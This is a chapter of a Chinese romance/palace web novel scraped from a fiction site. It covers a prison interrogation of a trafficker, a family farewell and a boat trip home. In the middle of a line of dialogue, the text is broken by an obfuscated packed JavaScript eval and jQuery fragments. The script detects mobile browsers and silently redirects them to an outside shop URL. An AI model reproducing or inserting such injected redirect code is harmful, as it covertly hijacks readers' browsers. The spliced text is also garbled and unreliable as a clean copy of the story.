文趣网 > 其他小说 > 团宠怎么谈恋爱 > 36. 分离
    虽说孩子追回来不少,但那些已经进入塔尔那腹地的,却也不能像现在这般冒冒失失的闯过去。

    众人也都商量好,先联系埋在塔尔那的暗桩,由弈衿兰带着人过去,摸透这桩拐卖链,最后将能救下的人都带中原。

    弈无非也没了异议,他这身子,别届时孩子没找到,他自己先把命丢在塔尔那的风沙中。

    他还去地牢中见了那些拐子一面,有膘肥体壮面黄肌瘦,如今大多都不成人样。还有不少滚了一身干草,痴笑,又或者抓着自己血淋淋的胳膊,痛苦的哀嚎。

    这些想必就是碰过甲乌的。

    弈无非漠然掠过视线,找到那位所谓的许老大。

    进了牢房,老大的待遇和别人也没什不同。又或许还要更惨些,被锁链困住四肢无法动弹,就只能承受来自曾经下属的拳头和唾沫。

    垂眸,对上一双阴鸷的倒三角眼,眼球上翻,眼白浑浊发黄,满脸横肉挤出褶子,似乎是想现在就冲上来杀了他。

    可他动不了。

    像只牙都被打落的恶犬,血沫夹着涎水漏出齿缝,被手臂粗的铁链锁在这暗无天日的地牢,等待不知会从何时降临的审判。

    “那些金属球,是谁给你们的?”

    “嗬嗬…”许老大咧开嘴角,漏出一个令人毛骨悚然的笑,“想知道啊,你解开这个链子好不好,我告诉你。”

    “许三木,渠州人,曾丢失一子,妻子因嫌贫爱富离你而去。你在走投无路下被塔尔那人抓走当了奴隶,被迫参与这场人口贩卖。”弈无非将手里皱巴巴的书册丢到许三木腿边,“这是你写的吧?看上去,你似乎有个不太愉快的过往。”

    “是啊,这位大人,你要可怜我吗?我后悔啦,真的。早知道我就不该听那些畜生的话,我是被逼的!大人!”铁链响动,许三木浑浊的眼睛挤出两三滴眼泪,无辜而悲戚。

    “可你不无辜啊,许三木。你亲手将不足百日的孩子送给塔尔那,用拳头和棍棒将那个可怜女人鲜血淋漓地打出那扇漏风的门。你仇视也恐惧强权,却更愿意做他们脚下一条狗,看着所谓弱者痛不欲生,你在背后张开腥臭的嘴大笑……好恶心。”

    弈无非轻轻重复:“好恶心。这本写满了苦难和无奈的书册是给谁看?是我吗?不是,是你。骗过自己,就真以为自己还是干净的。许三木,这是不是比你以往做的还要好笑?”

    许老大的背景自然是谛听给他的,它好像也被这玩意恶心的受不了,在结尾温馨建议道,或许凌迟也算一种不错的刑罚。

    许三木没再说话,只是眼神愈发阴毒,圆瞪瞪的,眼球都好像要从眼眶里掉出来。

    弈无非好像没看到一般:“金属球是一个叫做摩罗斯的中原人给你的,早在一年前去了塔尔那,之后便不见人影。你也只知道这么多,对吗?”

    铁链晃动的声音更大了。

    “这是你那些所谓下属告诉我的,那位‘大人’并不放心你保管这么重要的东西,所以将保管权分散,你只拿了其中一小部分。当狗也是这么一副废物模样,我都替你感到可笑,许三木。”

    “你放屁!骗我,你骗我……大人他最看重我了,大人……大人说过,只要控制中原,以后所有人都得跪在地上欢迎我!想干什么干什么,地位、财富美人……”他好像什么都听不进去了,颓然弯下脊柱,一遍又一遍重复不可能。

    确认消息无误,弈无非也懒得在这周旋什么,转身离开。雪色衣袂飘扬落下,映入那双浑浊的眼球。

    不可能,大人,不可能……

    这些自然不是别人说的,都是弈无非在那手写书册的一角偶然发现,介于许三木写了一堆骗人骗己的故事,他只好来亲自辨认真伪。

    摩罗斯,希腊神话中命中注定的劫数化身,连宙斯都无法违抗他的意志。

    还真是,狂妄恼人。

    地牢门外,一道身影长身玉立,脊背宽阔挺直,手里似乎捧着什么东西。

    应长枫早通过心声注意到弈无非,此时转过身,将手中用皮革包裹住的小雪狐递给他。雪粒塑成的毛茸茸像是一点不大不小的安抚,弈无非凤眸弯弯,揶揄道:“应将军还有这手艺,若是不当将军,来我府上专门做狐狸怎么样?”

    “好。”应长枫不假思索,只是不知想到什么,又顿了顿,“我做,你看便好。”

    弈无非微妙地眯起双眸:……

    好像被内涵了。

    中原未太平,许多事情向来耽搁不得。

    众人兵分三路,弈衿兰去塔尔那,弈无非回一趟余安将余事收尾,影九他们便带着抓捕的囚犯率先归京。

    弈家人向来没有什么黏糊性子,直到弈无非出生。

    “行了行了,又不是不会见了,松手,无非,弈无非。”弈衿兰语气很无奈。

    “可你们不能陪我和兄长过年节了。还有……”弈无非严肃道,“不要立flag。”

    “福辣个是什么?”习惯自家儿子奇奇怪怪,弈衿兰干脆一把抓住他提起来放到一边,“你和君云可以写信,我们都能收到。”

    弈无非活像只委屈的狐狸,头上顶着一片小乌云,鲜红的皮毛都退成白色,团着尾巴哼哼唧唧:“那我会想你们的。”

    他强调:“很想很想。”

    “我知道我知道,我和你爹也会很想很想你的。”弈衿兰瞧着他其实也觉得不放心,没忍住将话又轱辘一遍,“回京记得听你兄长的话,药要按时吃,早睡早起,有什么麻烦事不能一个人扛,要是有人欺负你……”

    弈衿兰想到自家这个混世魔王:“算了,也没谁敢欺负你。那你少欺负人家,尤其是应将军。”

    这几日他们也算看明白了,应长枫几乎对弈无非百依百顺,有什么强硬的地方多半也是为了某人那纸糊成的身体,恨不得十二时辰视线里都有弈无非。

    而弈无非也是,平日还好好地,若是应将军同他出现在一个空间,登时腰也伸不直了,路也不会走了,像块糖糕一样粘着人家,问题是俩人还都没觉得不对。

    要不是其中一个是自己孩子,弈衿兰真想给他俩脑门上贴个祝福锁死。

    弈小狐狸抱紧尾巴,幽幽怨怨:“我欺负谁了?应将军不是他欺负我吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512008|203037||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”

    这下萧岸竹都没忍住咳了两声,瞥开脸忍住让自己忍住没笑。

    应长枫倒是坦然,不见无奈,反倒能从他冷俊的面容下看出温和纵容。

    弈衿兰没话说,翻身上马,朝弈无非最后告一次别。

    “下次回来,希望看到你活蹦乱跳地爬鎏金殿房顶揭瓦,记得别让那些老臣发现了。”

    弈无非:……

    对他这个病秧子来说,这确是好真挚的祝福。

    “…好哦。”

    诸事顺遂,回程的路便显得没那么紧迫。

    弈无非在船沿支了根柱子充作钓竿,衣袂飘飘,眉眼昳丽温和,端的一副遗世独立的模样,却半晌也不见一条鱼上钩。

    瞧着人越来越沮丧,应长枫从船舱出来给人披上狐裘,提着竹竿把鱼线拉出水面,骨刺挂着水珠,上面光秃秃的,什么也没有。

    应长枫:……

    “我还在想你从哪儿找的饵,原来是在渔沟上挂着你的信念吗?”

    弈无非抿唇,慢吞吞拉下鱼竿:“愿者上钩,你懂什么?”

    应长枫有些好笑,却没表现出来。靠岸给他挖了一盒蚯蚓,又任劳任怨地挂上钩,最后递到他手上。

    弈无非装模作样叹口气,对着遗河水指指点点:“罚酒不吃吃敬酒,愿者这么少,还得靠我勾引才行。”

    阿圆被大人奇怪的理论绕得糊涂,左瞧瞧右看看,一众人面如止水。

    好吧。他捂着脑袋坐回船舱,肯定是自己见识太少了。

    有了饵,这鱼却也没见得好钓多少。直到岸边又出现熟悉的巨石,弈无非放下空荡荡的蚯蚓盒子,风轻云淡道:“一群没品的鱼,就不和他们计较了,走,我们回余安。”

    应长枫最先跟着起身,随后是穆遥,阿圆听到他轻轻“嘶”了一声,有些担心的问道:“哥哥是哪里受伤了吗?”

    “没有没有。”穆遥嘴唇嚅动,整张面上呈现出一种要笑不笑的扭曲姿态,“就是自己掐得有点重。”

    “呵。”

    弈无非听到了。

    余安近日有了不小变化。

    先是那柳老板,被一女子提着刀上门砸了招牌,非但不气,反而在一日后亲手提了“寻柳记”三个字悬在门前,铁画银钩,气象一新,来往客人都多了不少。

    随后是那简县令,在大街小巷贴满了告示,没加半点掩瞒,将当初简家人恶行和今年发生的事一一叙述,从头到尾没替自己辩解些什么,只在最后加上——从今天开始,余安人能走出去看看了。

    还有就是些很小的事,比如干粮铺子多了位小熟客,每日都来买几块荷叶酥饼;离着最近的回县那来了位书生,听说是来寻人的……

    又或许也没那多不一样,叶子还在长,日子还在过。

    只是心里少了块压着的巨石,平日遇到陌生人,也能轻快地打声招呼了。

    还是那间熟悉的旅房,弈无非面不改色地放下药碗,瞧着眼前拄着拐的柳老板,也说不清谁更惨些。

    只好干巴巴地打声招呼:“几日未见,柳老板心情不错?”